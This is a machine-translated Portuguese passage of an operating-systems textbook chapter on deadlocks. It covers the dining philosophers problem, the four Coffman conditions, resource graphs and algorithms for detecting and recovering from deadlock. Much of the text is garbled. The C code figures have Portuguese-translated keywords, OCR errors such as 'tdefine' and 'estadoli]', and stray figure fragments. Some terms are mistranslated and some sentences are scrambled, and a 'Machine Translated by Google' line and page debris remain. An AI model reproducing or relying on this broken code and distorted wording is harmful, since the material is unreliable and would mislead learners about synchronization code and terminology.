Em 1965, Dijkstra propôs e depois resolveu um problema de sincronização que chamou 
o problema dos filósofos do jantar. Desde aquela época, todo mundo inventando mais um 
primitiva de sincronização se sentiu obrigada a demonstrar quão maravilhoso é o novo 
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typedef int semáforo; 


recurso semáforo 1; recurso 
semáforo 2; as 


processo vazio A (void) 
( down (&recurso 1); 
para baixo(&recurso 2); 
use ambos.os recursos (); 
up(&recurso 2); 
up(&recurso 1); 


) 


void processo B(void) 
( down(&recurso 1); 
para baixo(&recurso 2); 
use ambos os recursos (); 
up(&recurso 2); 
up(&recurso 1); 


(a) 


recurso semáforo 1; 
recurso semáforo 2; X 


processo vazio A(vazio) { 
para baixo(&recurso 1); 
para baixo(&recurso 2); 
use ambos.os recursos ( ); 
up(&recurso 2); 
up(&recurso 1); 


} 


processo vazio B(vazio) { 
para baixo(&recurso 2); 
para baixo(&recurso 1); 
use ambos os recursos (); 
up(&recurso 1); 
up(&recurso 2); 


(b) 


Figura 6-2. (a) Código sem deadlock. (b) Código com um impasse potencial. 


primitivo é mostrar como ele resolve com elegância o problema do jantar dos filósofos. 
Nós apenas o usamos como uma bela ilustração de como ocorrem os impasses e como evitá-los. 
eles. O problema pode ser formulado simplesmente da seguinte forma. Cinco filósofos são 
sentado em torno de uma mesa circular. Cada filósofo tem um prato de espaguete. O 
o espaguete é tão escorregadio que um filósofo precisa de dois garfos para comê-lo. Entre cada 
par de pratos é um garfo. O layout da tabela é ilustrado na Figura 6-3. 

A vida de um filósofo consiste em períodos alternados de alimentação e pensamento. 
(Isso é uma espécie de abstração, mesmo para filósofos, mas as outras atividades 
são irrelevantes aqui.) Quando um filósofo fica com fome suficiente, ele tenta adquirir os garfos 
esquerdo e direito, um de cada vez, em qualquer ordem. Se conseguir adquirir dois garfos, ela 
come por um tempo, depois larga os garfos e continua a comer. 
pensar. A questão chave é: você pode escrever um programa para cada filósofo que faça isso? 
o que é suposto fazer e nunca fica preso? (Foi apontado que o 
a exigência de dois garfos é um tanto artificial; talvez devêssemos mudar do italiano 
comida por comida chinesa, substituindo espaguete por arroz e garfos por pauzinhos.) 

A Figura 6-4 mostra a solução óbvia. O procedimento take fork espera até que o 
garfo especificado está disponível e então o agarra. Infelizmente, a solução óbvia é 
errado. Suponha que todos os cinco filósofos tomem a bifurcação da esquerda simultaneamente. 
Ninguém será capaz de pegar os garfos certos e haverá um impasse. 

Poderíamos facilmente modificar o programa para que, depois de pegar a bifurcação da 
esquerda, o programa verificasse se a bifurcação da direita está disponível. Se não for, o filósofo coloca 
desce pela esquerda, espera um pouco e depois repete todo o processo. Esse 
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#define N 5 
filósofo vazio (int i) { 


enquanto 


impasses 


VO 
AN 


y 
ASR 


CUTE 


fm 


UIT» 


Figura 6-3. Hora do almoço no Departamento de Filosofia. 


/ * número de filósofos */ 


/* i: número do filósofo, de O a 4 */ 


/* o filósofo está pensando *//* 


(VERDADEIRO) vire à esquerda para 


(pensar(); pegue o garfo(eu); 


pegue 


o garfo((i+1) % 


*//* yum-yum, espaguete *//* 


Figura 6-4. Uma não-solução para o problema dos filósofos do jantar. 


coloque a esquerda para k de volta na mesa 
N); comer( ); coloque garfo(i); coloque garfo((i+1) %/M) coloque a direita para k de volta na mesa */ 


INDIVÍDUO. 6 


k */ / * vire à direita para k; % é o operador de módulo 


proposta também fracassa, embora por uma razão diferente. Com um pouco de azar, todos os 
filósofos poderiam iniciar o algoritmo simultaneamente, pegando os garfos esquerdos, vendo 
que os garfos direitos não estavam disponíveis, largando os garfos esquerdos, esperando, 
pegando os garfos esquerdos novamente simultaneamente, e assim em frente, para sempre. 
Uma situação como esta, em que todos os programas continuam a funcionar indefinidamente, 
mas não conseguem fazer qualquer progresso, é chamada de fome. (É chamado de fome 


mesmo quando o problema não ocorre em um restaurante italiano ou chinês.) 


Agora você poderia pensar que se os filósofos apenas esperassem um tempo aleatório 
em vez do mesmo tempo depois de não conseguirem adquirir a bifurcação da direita, a chance 
de que tudo continuasse em sincronia mesmo por uma hora seria muito pequena. Esse 
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tdefine N 5 gdefine 


ESQUERDA (i+N1)%N #define DIREITA 
(i+1)%N fdefine PENSANDO 0 

#define COM FOME 1 

tdefine COMENDO 2 

typedef int semáforo; estado 

interno[N]; semáforo mutex 

= 1; semáforo 

SIN]; 


filósofo vazio (int i) ( 


enquanto (VERDADEIRO) 
(pensar(); 
pegue garfos(eu): 
comer(); 


coloque garfos(eu); 


void pegar garfos(int i) { 


para baixo(&mutex); 
estadoli] = COM FOME; 
teste(eu); 

para cima(&mutex); 
para baixo(&s[i]); 


void colocar garfos(i) 


{ 
para baixo(&mutex); 
estado[i] = PENSANDO; 
teste(ESQUERDA); 
teste (DIREITA); para cima(&mutex); 
} 


void test(i) /* i: número do filósofo, de O a N1 */{ 


RECURSOS 


/ * número de filósofos */ /* número 

do vizinho esquerdo do i*/ / * número 

do vizinho direito do i*/ / * o filósofo está 

pensando *//* o filósofo está 

tentando obter ks *// * o filósofo está comendo 
*//* semáforos são um tipo 

especial de array int *//* para monitorar o estado 
de todos */ / * exclusão mútua para regiões críticas 
*//* um semáforo por filósofo */ 


/* i: número do filósofo, de O a N1 */ 


/* repita para sempre 

*//* o filósofo está pensando *// 

* adquira dois para ks ou bloqueie */ 

* yum-yum, spaghetti *//*/ 

coloque ambos para ks de volta na mesa */ 


/* i: número do filósofo, de O a N1 */ 


/* entra na região crítica *// 

* registra o fato de que o filósofo i está com fome *// 
* tenta adquirir 2 para ks *//* 

sai da região crítica *//* 

bloqueia se for ks não foi adquirido */ 


/* i: número do filósofo, de O a N1 */ 


/* entra na região crítica *// 

* o filósofo terminou de comer *// * veja se 

o vizinho da esquerda agora pode comer */ / 

* veja se o vizinho da direita agora pode comer 
*//* sai da região crítica */ 


if (estadofi] == FOME && estado[ESQUERDA] = COMENDO && estado[DIREITA] = COMENDO) 


{ estadol[i] = COMENDO; 
para cima(& sil); 


Figura 6-5. Uma solução para o problema dos filósofos do jantar. 
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a observação é verdadeira e, em quase todas as aplicações, tentar novamente mais tarde não é um problema. 
Por exemplo, na popular rede local Ethernet, se dois computadores enviam um pacote ao mesmo tempo, cada 
um espera um tempo aleatório e tenta novamente; na prática, esta solução funciona bem. Entretanto, em algumas 
aplicações seria preferível uma solução que sempre funcionasse e não pudesse falhar devido a uma série 


improvável de números aleatórios. Pense no controle de segurança em uma usina nuclear. 


Uma melhoria na Figura 6.4 que não apresenta impasse nem privação é proteger as cinco declarações 
que seguem a chamada para pensar por um semáforo binário. Antes de começar a adquirir garfos, um filósofo 
faria uma análise do mutex. Depois de substituir os garfos, ela faria um up no mutex. Do ponto de vista teórico, 
esta solução é adequada. Do ponto de vista prático, tem um problema de desempenho: apenas um filósofo pode 
comer a qualquer momento. Com cinco garfos disponíveis, deveríamos poder permitir que dois filósofos 
comessem ao mesmo tempo. 


A solução apresentada na Figura 6-5 é livre de impasses e permite o máximo paralelismo para um número 
arbitrário de filósofos. Ele usa uma matriz, estado, para controlar se um filósofo está comendo, pensando ou com 
fome (tentando adquirir garfos). Um filósofo só pode passar para o estado de comer se nenhum dos vizinhos 
estiver comendo. Os vizinhos do Filósofo i são definidos pelas macros ESQUERDA e DIREITA. 


Em outras palavras, se i for 2, ESQUERDA será 1 e DIREITA será 3. 

O programa usa uma série de semáforos, um por filósofo, para que filósofos famintos possam bloquear se 
os garfos necessários estiverem ocupados. Observe que cada processo executa o procedimento filósofo como 
seu código principal, mas os outros procedimentos, pegar garfos, colocar garfos e testar, são procedimentos 
comuns e não processos separados. 

Embora possamos considerar os filósofos do jantar um exemplo inventado, popular principalmente entre 
professores universitários e poucos outros, os impasses são bastante reais e podem ocorrer facilmente. Muitas 
pesquisas foram feitas sobre maneiras de lidar com eles. Este capítulo discute detalhadamente os problemas de 
impasse e de fome, bem como o que pode ser feito a respeito deles. 


6.2 INTRODUÇÃO AOS DEADLOCKS 


O deadlock pode ser definido formalmente da seguinte forma: 


Um conjunto de processos está em conflito se cada processo do conjunto estiver aguardando um evento 
que somente outro processo do conjunto pode causar. 


Como todos os processos estão esperando, nenhum deles causará qualquer evento que possa acordar qualquer 
um dos outros membros do conjunto, e todos os processos continuarão a esperar para sempre. Para este modelo, 
assumimos que os processos são de thread único e que não são possíveis interrupções para ativar um processo 
bloqueado. A condição sem interrupções é necessária para evitar que um processo que de outra forma estaria 
bloqueado seja despertado por um alarme e, em seguida, cause eventos que liberem outros processos do 
conjunto. 
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Na maioria dos casos, o evento que cada processo está aguardando é a liberação de algum recurso (como 
um fork) atualmente possuído por outro membro do conjunto. Em outras palavras, cada membro do conjunto de 
processos em conflito está aguardando por um recurso que pertence a um processo em conflito. Nenhum dos 
processos pode ser executado, nenhum deles pode liberar recursos e nenhum deles pode ser despertado. O 
número de processos e o número e tipo de recursos possuídos e solicitados não são importantes. Este resultado 
vale para qualquer tipo de recurso, incluindo hardware e software. Esse tipo de impasse é chamado de impasse 
de recursos. É provavelmente o tipo mais comum, mas não é o único. Primeiro estudamos detalhadamente os 


deadlocks de recursos e depois, no final do capítulo, voltamos brevemente a outros tipos de deadlocks. 


6.2.1 Condições para Impasses de Recursos 


Há mais de 50 anos, Coffman et al. (1971) mostraram que quatro condições devem ser válidas para que 
haja um impasse (de recursos): 


1. Condição de exclusão mútua. Cada recurso está atualmente atribuído 
ed para exatamente um processo ou está disponível. 


2. Condição de espera e espera. Processos que atualmente contêm recursos que 


foram concedidos anteriormente podem solicitar novos recursos. 


3. Condição de não preempção. Recursos anteriormente concedidos não podem ser retirados à 
força de um processo. Eles devem ser explicitamente liberados pelo processo que os contém. 


4. Condição de espera circular. Deve haver uma lista circular de dois ou mais processos, cada um 


aguardando um recurso mantido pelo próximo membro da cadeia. 


Todas essas quatro condições devem estar presentes para que ocorra um impasse de recursos. Se um deles 
estiver ausente, nenhum impasse de recursos será possível. 

Vale ressaltar que cada condição se refere a uma política que um sistema pode ter ou não. Um determinado 
recurso pode ser atribuído a mais de um processo ao mesmo tempo? 
Um processo pode reter um recurso e solicitar outro? Os recursos podem ser antecipados? 
Podem existir esperas circulares? Mais adiante, veremos como os impasses podem ser atacados tentando-se 
negar algumas dessas condições. 


6.2.2 Modelagem de Deadlock 


Um ano depois, Holt (1972) mostrou como essas quatro condições podem ser modeladas usando gráficos 
direcionados. Os gráficos possuem dois tipos de nós: processos, mostrados como círculos, e recursos, mostrados 
como quadrados. Um arco direcionado de um nó de recurso (quadrado) para um nó de processo (círculo) significa 


que o recurso foi previamente 


Machine Translated by Google 


446 impasses INDIVÍDUO. 6 


solicitado por, concedido e atualmente mantido por esse processo. Na Figura 6-6(a), 
o recurso R está atualmente atribuído ao processo A. 


10 


(a) (b) (c) 


Figura 6-6. Gráficos de alocação de recursos. (a) Manter um recurso. (b) Solicitação 
um recurso. (c) Impasse. 


Um arco direcionado de um processo para um recurso significa que o processo está atualmente 
bloqueado esperando por esse recurso. Na Figura 6.6(b), o processo B está aguardando recurso 
S. Na Figura 6.6(c), vemos um impasse: o processo C está aguardando o recurso T, que é 
atualmente mantido pelo processo D. O processo D não está prestes a liberar o recurso T porque 
ele está aguardando o recurso U, mantido por C. Ambos os processos esperarão para sempre. Um ciclo 
no gráfico significa que há um impasse envolvendo os processos e recursos em 
o ciclo (assumindo que existe um recurso de cada tipo). Neste exemplo, o 
o ciclo é CTDU C. 
Agora vejamos um exemplo de como os gráficos de recursos podem ser usados. Imagine 


que temos três processos, A, Be C, e três recursos, R, S e T. O 
solicitações e liberações dos três processos são fornecidas na Figura 6.7(a)-(c). O sistema operacional é 
livre para executar qualquer processo desbloqueado a qualquer instante, então ele pode decidir 
executar A até que A termine todo o seu trabalho, depois executar B até a conclusão e, finalmente, executar C. 
Esta ordenação não leva a nenhum impasse (porque não há competição 
para recursos), mas também não tem nenhum paralelismo. Além de solicitar e 
liberando recursos, os processos computam e fazem E/S. Quando os processos são executados 
sequencialmente, não há possibilidade de que enquanto um processo está aguardando E/S, outro possa 
usar a CPU. Assim, executar os processos estritamente sequencialmente pode não ser 
ótimo. Por outro lado, se nenhum dos processos realiza qualquer E/S, o tempo mais curto 
O trabalho primeiro é melhor que o round robin; portanto, em algumas circunstâncias, executar todos os 
processos sequencialmente pode ser a melhor maneira. 
Suponhamos agora que os processos realizam E/S e computação, de modo que 
round robin é um algoritmo de agendamento razoável. As solicitações de recursos podem ocorrer na ordem 
mostrada na Figura 6.7(d). Se estes seis pedidos forem realizados nesta ordem, o 
seis gráficos de recursos resultantes são mostrados na Figura 6.7(e)-(j). Após a solicitação 4 ter 
feito, A bloqueia esperando por S, como mostrado na Figura 6.7(h). Nas próximas duas etapas B 
e C também bloqueiam, levando finalmente a um ciclo e ao impasse da Figura 6.7()). 
Entretanto, como já mencionamos, o sistema operacional não tem obrigação de executar os processos 
em qualquer ordem específica. Se conceder uma solicitação específica 
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pode levar a um impasse, o sistema operacional pode simplesmente suspender o processo sem atender à 
solicitação (ou seja, simplesmente não agendar o processo) até que seja seguro. Na Figura 6-7, se o sistema 
operacional soubesse do impasse iminente, ele poderia suspender B em vez de conceder-lhe S. Executando 
apenas Ae C, obteríamos as solicitações e liberações da Figura 6-7(k). ) em vez da Figura 6-7(d). Essa 
sequência leva aos gráficos de recursos da Figura 6.7(l)-(q), que não levam a impasse. 


Após a etapa (q), o processo B pode receber S porque A está concluído e C tem tudo o que precisa. 
Mesmo que B bloqueie ao solicitar T, nenhum deadlock poderá ocorrer. B apenas esperará até que C termine. 


Mais adiante neste capítulo, estudaremos um algoritmo detalhado para tomar decisões de alocação que 
não levem a impasses. No momento, o ponto a ser entendido é que os gráficos de recursos são uma 
ferramenta que nos permite ver se uma determinada sequência de solicitação/liberação leva a um impasse. 
Apenas realizamos as solicitações e liberações passo a passo, e a cada passo verificamos o gráfico para ver 
se contém algum ciclo. Se assim for, temos um impasse; caso contrário, não há impasse. Embora nosso 
tratamento dos gráficos de recursos tenha sido para o caso de um único recurso de cada tipo, os gráficos de 
recursos também podem ser generalizados para lidar com vários recursos do mesmo tipo (Holt, 1972). 


Em geral, quatro estratégias são utilizadas para lidar com impasses. 


1. Simplesmente ignore o problema. Talvez se você ignorar, ele irá ignorar você. 
2. Detecção e recuperação. Deixe-os ocorrer, detecte-os e tome medidas. 
3. Evitação dinâmica através da alocação cuidadosa de recursos. 


4. Prevenção, negando estruturalmente uma das quatro condições. 


Nas próximas quatro seções, examinaremos cada um desses métodos separadamente. 


6.3 O ALGORITMO DE AVESTRUZ 


A abordagem mais simples é o algoritmo do avestruz: enfie a cabeça na areia e finja que não há 
problema.t As pessoas reagem a esta estratégia de maneiras diferentes. Os matemáticos consideram isso 
inaceitável e dizem que os impasses devem ser evitados a todo custo. Os engenheiros perguntam com que 
frequência o problema é esperado, com que frequência o sistema trava por outros motivos e qual a gravidade 
do impasse. Se os impasses ocorrerem, em média, uma vez a cada cinco anos, mas os travamentos do 
sistema devido a falhas de hardware e bugs do sistema operacional ocorrerem uma vez por semana, a 
maioria dos engenheiros não estaria disposta a pagar uma grande penalidade em desempenho ou 
conveniência para eliminar os impasses. 

Para tornar esse contraste mais específico, considere um sistema operacional que bloqueia o chamador 
quando um sistema aberto chama um dispositivo físico, como um scanner 3D ou um tNa verdade, esse 


folclore não faz sentido. Avestruzes podem correr a 60 km/hora e seu chute é poderoso o suficiente para 
matar qualquer leão que tenha visões de um grande jantar de frango, e os leões sabem disso. 
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A B (03 
Solicitar R Solicitações de Solicitar T 
Solicitações de Solicitar T Solicitar R 
Liberar R Liberação S Liberar T 
Liberação S Liberar T Liberar R 
(a) (b) (c) 
1. A solicita R 2. 
emo DOO 000 000 
solicita T 4. A 
solicita S 5. B 
solicita T 6. C 
solicita R impasse 
(d) (e) (f) (9) 


1. A solicita R 2. 
C solicita T 3. A 
solicita S 4. C 
solicita R 5. A 
libera R 6. A 


libera S sem 
impasse 


(k) 


Figura 6-7. Um exemplo de como ocorre o impasse e como pode ser evitado. 
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impressora não pode ser executada porque o dispositivo está ocupado. Normalmente cabe ao driver 
do dispositivo decidir que ação tomar nessas circunstâncias. Bloquear ou retornar um código de erro 
são duas possibilidades óbvias. Se um processo abrir o scanner com sucesso e outro abrir a 
impressora com sucesso e então cada processo tentar abrir o outro e bloquear a tentativa, teremos 
um impasse. Poucos sistemas atuais detectarão isso. 


6.4 DETECÇÃO E RECUPERAÇÃO DE DEADLOCK 


Uma segunda técnica é a detecção e recuperação. Quando esta técnica é usada, o sistema não 
tenta evitar a ocorrência de deadlocks. Em vez disso, permite que eles ocorram, tenta detectar quando 
isso acontece e então toma algumas medidas para se recuperar após o fato. Nesta seção, veremos 
algumas maneiras pelas quais os deadlocks podem ser detectados e algumas maneiras pelas quais 
a recuperação deles pode ser tratada. 


6.4.1 Detecção de deadlock com um recurso de cada tipo 


Comecemos pelo caso mais simples: existe apenas um recurso de cada tipo e cada dispositivo 
pode ser adquirido por um único processo. Como exemplo, considere um sistema com seis recursos: 
um gravador Blu-ray (R), um scanner (S), uma unidade de fita (T), um microfone USB (U), uma 
câmera de vídeo (V) e um wafer. cortador (W) — mas não mais do que um de cada classe de recurso. 
Em outras palavras, estamos excluindo sistemas com, digamos, dois scanners no momento. Iremos 
tratá-los mais tarde, usando um método diferente. 

Os seis recursos, R a W, são usados por sete processos, A a G. O estado dos recursos 
atualmente possuídos e quais estão sendo solicitados no momento é o seguinte: 


1. O processo A detém Re deseja S. 


2. O processo B não contém nada, mas deseja T. 
3. O processo C não contém nada, mas deseja S. 
4. O processo D contém U e quer SeT. 

5. O processo E contém Te deseja V. 

6. O processo F mantém We deseja S. 


7. O processo G contém Ve quer U. 


A questão é: “Este sistema está num impasse e, em caso afirmativo, que processos estão 
envolvidos?” Para responder a esta questão, podemos construir um gráfico de recursos do tipo 
ilustrado na Figura 6-6. Se este gráfico contiver um ou mais ciclos, existe um impasse. 

Qualquer processo que faça parte de um ciclo está em impasse. Se não existirem ciclos, o sistema 
não está em conflito e pode continuar executando normalmente. 
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Desenhar um gráfico de recursos é simples, embora nosso sistema agora seja 
consideravelmente mais complexos do que os simples que discutimos até agora. Nós mostramos o 
gráfico de recursos correspondente da Figura 6.8(a). Este gráfico contém um ciclo, que 
pode ser visto por inspeção visual. O ciclo é mostrado na Figura 6.8(b). A partir disso 
ciclo, podemos ver que os processos D, E e G estão todos em impasse. Processos A, C, 

e F não estão em conflito porque S pode ser alocado a qualquer um deles, o que 

então termina e devolve. Então os outros dois podem fazer isso por sua vez e também concluí-lo. 
(Observe que para tornar este exemplo mais interessante permitimos que processos, 
nomeadamente D, solicitem dois recursos ao mesmo tempo.) 


(a) (b) 


Figura 6-8. (a) Um gráfico de recursos. (b) Um ciclo extraído de (a). 


Embora seja relativamente simples identificar os processos em conflito por meio visual 
inspeção a partir de um gráfico simples, para uso em sistemas reais precisamos de um algoritmo 
formal para detectar impasses. Muitos algoritmos para detectar ciclos em direção 
gráficos são conhecidos. Abaixo daremos um simples que inspeciona um gráfico e termina quando 
encontra um ciclo ou quando mostra que não existe nenhum. Isto 
usa uma estrutura de dados dinâmica, L, uma lista de nós, bem como uma lista de arcos. Durante 
algoritmo, para evitar inspeções repetidas, arcos serão marcados para indicar que 
eles já foram inspecionados, 

O algoritmo opera executando as seguintes etapas conforme especificado: 


1. Para cada nó, N, no gráfico, execute as cinco etapas a seguir com 
N como o nó inicial. 
2. Inicialize L na lista vazia e designe todos os arcos como não marcados. 


3. Adicione o nó atual ao final de L e verifique se o nó agora 


aparece em L duas vezes. Se isso acontecer, o gráfico contém um ciclo (listado em 
L) e o algoritmo termina. 


4. A partir do nó fornecido, veja se há algum arco de saída não marcado. Se 


então, vá para a etapa 5; caso contrário, vá para a etapa 6. 
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5. Escolha aleatoriamente um arco de saída não marcado e marque-o. Então siga 
para o novo nó atual e vá para a etapa 3. 


6. Se este nó for o nó inicial, o gráfico não contém nenhum ciclo e o algoritmo 
termina. Caso contrário, chegámos agora a um beco sem saída. Remova-o e 
volte para o nó anterior, ou seja, aquele que era atual um pouco antes deste, 
torne-o o nó atual e vá para a etapa 3. 


O que esse algoritmo faz é considerar cada nó, por sua vez, como a raiz do que ele espera 
que seja uma árvore e fazer uma pesquisa em profundidade nele. Se alguma vez voltar a um 
nó que já encontrou, então encontrou um ciclo. Se esgotar todos os arcos de qualquer nó 
determinado, ele volta para o nó anterior. Se retroceder até a raiz e não puder ir mais longe, o 
subgrafo acessível a partir do nó atual não contém nenhum ciclo. Se esta propriedade for 
válida para todos os nós, todo o grafo estará livre de ciclos, portanto o sistema não estará em 
conflito. 

Para ver como o algoritmo funciona na prática, vamos usá-lo no gráfico da Figura 6.8(a). 
A ordem de processamento dos nós é arbitrária, então vamos apenas inspecioná-los da 
esquerda para a direita, de cima para baixo, primeiro executando o algoritmo começando em 
R, depois sucessivamente A, B, C, S, D, T, E, F, e assim por diante. Se atingirmos um ciclo, o 
algoritmo para. 

Começamos em R e inicializamos L na lista vazia. Então adicionamos R à lista e passamos 
para a única possibilidade, A, e a adicionamos a L, dando L = [R, A]. De A vamos para S, 
dando L = [R, A, S J. S não tem arcos de saída, portanto é um beco sem saída, forçando-nos 
a voltar para A. Como A não tem arcos de saída não marcados, voltamos para R, completando 
nossa inspeção de R. 

Agora reiniciamos o algoritmo começando em A, redefinindo L para a lista vazia. Esta 
busca também para rapidamente, então começamos novamente em B. De B continuamos a 
seguir arcos de saída até chegarmos a D, momento em que L = [B, T, E, V, G, U, D]. Agora 
devemos fazer uma escolha (aleatória). Se escolhermos S, chegaremos a um beco sem saída 
e voltaremos para D. Na segunda vez, escolhemos T e atualizamos L para ser [B, T, E, V, G, 
U, D, TJ, ponto em que descobrimos o ciclo e pare o algoritmo. 

Este algoritmo está longe de ser ideal. Para melhor, veja Even (1979). Nunca 
no entanto, demonstra que existe um algoritmo para detecção de impasse. 


6.4.2 Detecção de deadlock com múltiplos recursos de cada tipo 


Quando existem múltiplas cópias de alguns dos recursos, é necessária uma abordagem 
diferente para detectar impasses. Apresentaremos agora um algoritmo baseado em matriz 
para detectar impasses entre n processos, P1 a Pn. Seja o número de classes de recursos m, 
com recursos E1 da classe 1, recursos E2 da classe 2 e, geralmente, recursos Ei da classe i 
(1 im). E é o vetor de recursos existente. Fornece o número total de instâncias de cada 
recurso existente. Por exemplo, se a classe 1 for unidades de fita, então E 1 = 2 significa que o 
sistema possui duas unidades de fita. 
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A qualquer momento, alguns dos recursos são atribuídos e não estão disponíveis. Seja A o vetor de 
recursos disponíveis, com Ai fornecendo o número de instâncias do recurso į que estão atualmente 
disponíveis (ou seja, não atribuídas). Se ambas as nossas unidades de fita estiverem atribuídas, A1 será 0. 


Agora precisamos de dois arrays, C, a matriz de alocação atual, e R, a matriz de solicitação. A i- 
ésima linha de C informa quantas instâncias de cada classe de recurso Pi contém atualmente. Assim, Cij é 
o número de instâncias do recurso j que são mantidas pelo processo i. Da mesma forma, Rij é o número de 


instâncias do recurso j que Pi deseja. 
Essas quatro estruturas de dados são mostradas na Figura 6-9. 


Recursos existentes Recursos disponíveis 
(Ei, E2, ES, ..., Em) (A1, A2, A3, ..., Sou) 
Matriz de alocação atual Matriz de solicitação 
C11 C12 C13 °°° Cim R11 R12 R13 °°° Rim 
cwo zi C22 cmm ° °” C2m R21 R22 R23 `’ ’ R2m 
E Cni Cn2 Cn3 `° Cnm Rn1 Rn2 Rn3 `’ Rnm 
A linha n é a alocação atual para o A linha 2 é o que o processo 2 precisa 
processo n 


Figura 6-9. As quatro estruturas de dados necessárias ao algoritmo de detecção de deadlock. 


Um invariante importante vale para essas quatro estruturas de dados. Em particular, cada 
recurso está alocado ou disponível. Esta observação significa que 


Cij+ Aj= E j. SPO. 6v 


eu=1 


Em outras palavras, se somarmos todas as instâncias do recurso j que foram alocadas e a isso somarmos 
todas as instâncias que estão disponíveis, o resultado será o número de instâncias dessa classe de recursos 
que existem. 


O algoritmo de detecção de deadlock é baseado na comparação de vetores. Vamos definir a relação 
AB em dois vetores A e B para significar que cada elemento de A é menor ou igual ao elemento 


correspondente de B. Matematicamente, AB é válido se e somente se Ai Bi para 1 
eu sou. 

Cada processo é inicialmente considerado não marcado. À medida que o algoritmo avança, os processos 
serão marcados, indicando que eles podem ser concluídos e, portanto, não estão em conflito. Quando o 
algoritmo termina, todos os processos não marcados estão em conflito. Este algoritmo assume o pior cenário: 
todos os processos mantêm todos os recursos adquiridos até saírem. 
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O algoritmo de detecção de deadlock agora pode ser dado da seguinte forma: 


1. Procure um processo não marcado, Pi, para o qual a i-ésima linha de R é menor ou igual 
a A. 


2. Se tal processo for encontrado, adicione a i-ésima linha de C a A, marque o processo, 
e volte para o passo 1. 


3. Se tal processo não existir, o algoritmo termina. 


Quando o algoritmo termina, todos os processos não marcados, se houver, estão em conflito. 

O que o algoritmo está fazendo na etapa 1 é procurar um processo que possa ser executado até 
a conclusão. Tal processo é caracterizado por ter demandas de recursos que podem ser atendidas 
pelos recursos atualmente disponíveis. O processo selecionado é então executado até terminar, 
momento em que ele retorna os recursos que contém ao conjunto de recursos disponíveis. Em 
seguida, é marcado como concluído. Se todos os processos puderem ser executados até a conclusão, 
nenhum deles estará em conflito. Se alguns deles nunca conseguirem terminar, eles estão em um 
impasse. Embora o algoritmo seja não determinístico (porque pode executar os processos em qualquer 
ordem viável), o resultado é sempre o mesmo. 

Como exemplo de como funciona o algoritmo de detecção de deadlock, veja a Figura 6.10. 
Aqui temos três processos e quatro classes de recursos, que rotulamos arbitrariamente como unidades 
de fita, plotters, scanners e câmeras. O processo 1 possui um scanner. 
O Processo 2 possui duas unidades de fita e uma câmera. O processo 3 possui uma plotter e dois 
scanners. Cada processo necessita de recursos adicionais, conforme mostrado pela matriz R. 


Unidades Seditaers plotteSâmeras UnidadesSkafitaers plotterSâmeras 
E=(42 3 a UMA=(21 00) 
Matriz de alocação atual Matriz de solicitação 
00102001 20011010 
C=| 0120 R= | 2100 


Figura 6-10. Um exemplo para o algoritmo de detecção de deadlock. 


Para executar o algoritmo de detecção de deadlock, procuramos um processo cuja solicitação de 
recurso possa ser satisfeita. O primeiro não pode ser satisfeito porque não há câmera disponível. O 
segundo também não pode ser satisfeito, porque não existe scanner gratuito. Felizmente, o terceiro 


pode ser satisfeito, então o processo 3 é executado e eventualmente retorna todos os seus recursos, 


dando 
UMA = (2220) 


Neste ponto o processo 2 pode executar e retornar seus recursos, dando 


UMA = (4221) 


Agora o processo restante pode ser executado. Não há impasse no sistema. 
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Considere agora uma pequena variação da situação da Figura 6.10. Suponha que o processo 3 
precise de uma câmera, bem como de duas unidades de fita e do plotter. Nenhuma das solicitações 
pode ser atendida, portanto, todo o sistema acabará em um impasse. 

Mesmo se dermos ao processo 3 suas duas unidades de fita e uma plotadora, o sistema entra em 
conflito quando solicita a câmera. 

Agora que sabemos como detectar impasses (pelo menos com solicitações de recursos estáticos 
conhecidas antecipadamente), surge a questão de quando procurá-los. Uma possibilidade é verificar 
sempre que uma solicitação de recurso for feita. É certo que isso os detectará o mais cedo possível, 
mas é potencialmente caro em termos de tempo de CPU. Uma estratégia alternativa é verificar a cada 
k minutos, ou talvez apenas quando a utilização da CPU cair abaixo de algum limite. A razão para 
considerar a utilização da CPU é que se um número suficiente de processos estiver em deadlock, 
haverá poucos processos executáveis e a CPU frequentemente ficará ociosa. 


6.4.3 Recuperação de Deadlock 


Suponha que nosso algoritmo de detecção de impasse tenha sido bem-sucedido e detecte um 
impasse. Qual o proximo? É necessária alguma maneira de recuperar e fazer o sistema funcionar 
novamente. Nesta seção, discutiremos várias maneiras de se recuperar de um impasse. 

Nenhum deles é especialmente atraente, entretanto. 


Recuperação por meio de preempção 


Em alguns casos, pode ser possível retirar temporariamente um recurso do seu proprietário atual 
e entregá-lo a outro processo. Em muitos casos, pode ser necessária intervenção manual, especialmente 
em sistemas operacionais de processamento em lote executados em mainframes. 


Por exemplo, para tirar uma impressora a laser de seu proprietário, o operador pode reunir todas 
as folhas já impressas e empilhá-las. Então o processo pode ser suspenso (marcado como não 
executável). Neste ponto, a impressora pode ser atribuída a outro processo. Quando esse processo 
termina, a pilha de folhas impressas pode ser recolocada na bandeja de saída da impressora e o 
processo original reiniciado. 

A capacidade de retirar um recurso de um processo, fazer com que outro processo o utilize e 
depois devolvê-lo sem que o processo perceba é altamente dependente da natureza do recurso. A 
recuperação desta forma é frequentemente difícil ou impossível. 

A escolha do processo a ser suspenso depende em grande parte de quais deles possuem recursos 
que podem ser facilmente recuperados. 


Recuperação por meio de reversão 
Se os projetistas de sistemas e os operadores de máquinas souberem que os impasses são 


prováveis, eles poderão providenciar a verificação periódica dos processos. Marcar um processo 
significa que seu estado é gravado em um arquivo para que possa ser reiniciado posteriormente. O 
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O checkpoint contém não apenas a imagem da memória, mas também o estado do recurso, ou seja, quais 
recursos estão atualmente atribuídos ao processo. Para serem mais eficazes, os novos pontos de 
verificação não devem substituir os antigos, mas devem ser gravados em novos arquivos, de modo que, à 
medida que o processo é executado, uma sequência inteira se acumule. 

Quando um impasse é detectado, é fácil ver quais recursos são necessários. Para fazer a recuperação, 
um processo que possui um recurso necessário é revertido para um ponto no tempo antes de adquirir esse 
recurso, iniciando em um de seus pontos de verificação anteriores. 

Todo o trabalho realizado desde o ponto de verificação é perdido (por exemplo, a saída impressa desde o 
ponto de verificação deve ser descartada, pois será impressa novamente). Com efeito, o processo é 
reiniciado para um momento anterior em que não possuía o recurso, que agora é atribuído a um dos 
processos em deadlock. Caso o processo reiniciado tente adquirir o recurso novamente, será necessário 
aguardar até que ele fique disponível. 


Recuperação através de processos de morte 


A maneira mais grosseira, porém mais simples, de quebrar um impasse é eliminar um ou mais 
processos. Uma possibilidade é encerrar um processo no ciclo. Com um pouco de sorte, os demais 
processos poderão continuar. Se isso não ajudar, pode ser repetido até que o ciclo seja interrompido. 


